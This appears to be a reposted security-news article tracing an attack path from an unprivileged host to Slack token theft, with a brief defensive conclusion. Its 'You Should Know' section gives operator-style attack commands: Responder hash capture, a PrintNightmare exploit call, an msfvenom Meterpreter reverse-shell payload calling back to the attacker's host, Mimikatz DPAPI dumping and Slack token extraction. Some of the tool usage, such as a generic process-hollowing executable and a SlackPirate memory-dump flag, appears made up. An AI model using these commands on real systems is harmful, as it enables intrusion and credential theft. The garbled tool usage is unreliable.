How Attackers Compromise Slack Workspaces: A Detailed Breakdown

An attacker stealing corporate data from Slack is a significant blind spot for many organizations. Often, data exfiltration from Slack isn’t monitored or protected by the SOC. Moreover, data infiltration—such as employees sharing files—is usually completely ungoverned. Once an attacker gains access to an endpoint with the Slack application installed, they can extract the authentication token from the memory of the running Slack process, bypassing any MFA controls in place.

Attack Path Breakdown:

1. Initial Access: NodeZero starts on a single host with no privileges.
2. Credential Harvesting: Uses MITM techniques to harvest NTLM hashes and cracks a hash into its cleartext password.
3. Exploitation: Exploits a server vulnerable to Print Nightmare, gaining host execution and deploying a RAT.
4. EDR Evasion: The EDR fails to detect the RAT, which dumps sensitive Windows processes, including SAM, providing more credentials.
5. Lateral Movement: Uses new credentials to log into a neighboring machine and deploys a second RAT.
6. DPAPI Dumping: The second RAT dumps the Windows Data Protection service (DPAPI), harvesting more credentials, including Domain Admin privileges.
7. Domain Admin Access: Uses Domain Admin credentials to log into a third machine and deploys a third RAT.
8. Slack Compromise: The third machine has Slack installed, and the RAT extracts the auth token from memory, granting access to the corporate workspace.

You Should Know:

• MITM Techniques: Tools like `Responder` can be used to harvest NTLM hashes.

  sudo responder -I eth0 -wrf
  

• Print Nightmare Exploit: Use the `CVE-2021-34527` exploit to gain execution on a vulnerable host.

  python3 printnightmare.py <target_ip> <payload>
  

• RAT Deployment: Tools like `Meterpreter` can be used for remote access.

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > rat.exe
  

• EDR Evasion: Techniques like process hollowing can be used to evade detection.

  ./process_hollowing.exe legitimate_process.exe malicious_payload.exe
  

• DPAPI Dumping: Use `Mimikatz` to dump DPAPI credentials.

  mimikatz.exe privilege::debug sekurlsa::dpapi
  

• Slack Token Extraction: Use tools like `SlackPirate` to extract tokens from memory.

  python3 slackpirate.py -m memory_dump_file
  

What Undercode Say:

This detailed attack path highlights the importance of securing endpoints and monitoring applications like Slack. Organizations should ensure their EDR solutions are properly configured and consider implementing additional monitoring for applications that handle sensitive data. Regularly updating and patching systems can prevent exploits like Print Nightmare. Additionally, educating employees about the risks of sharing sensitive information on platforms like Slack is crucial.

For further reading on securing Slack workspaces, visit Slack Security Guidelines.

References:

Reported By: Snehalantani Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅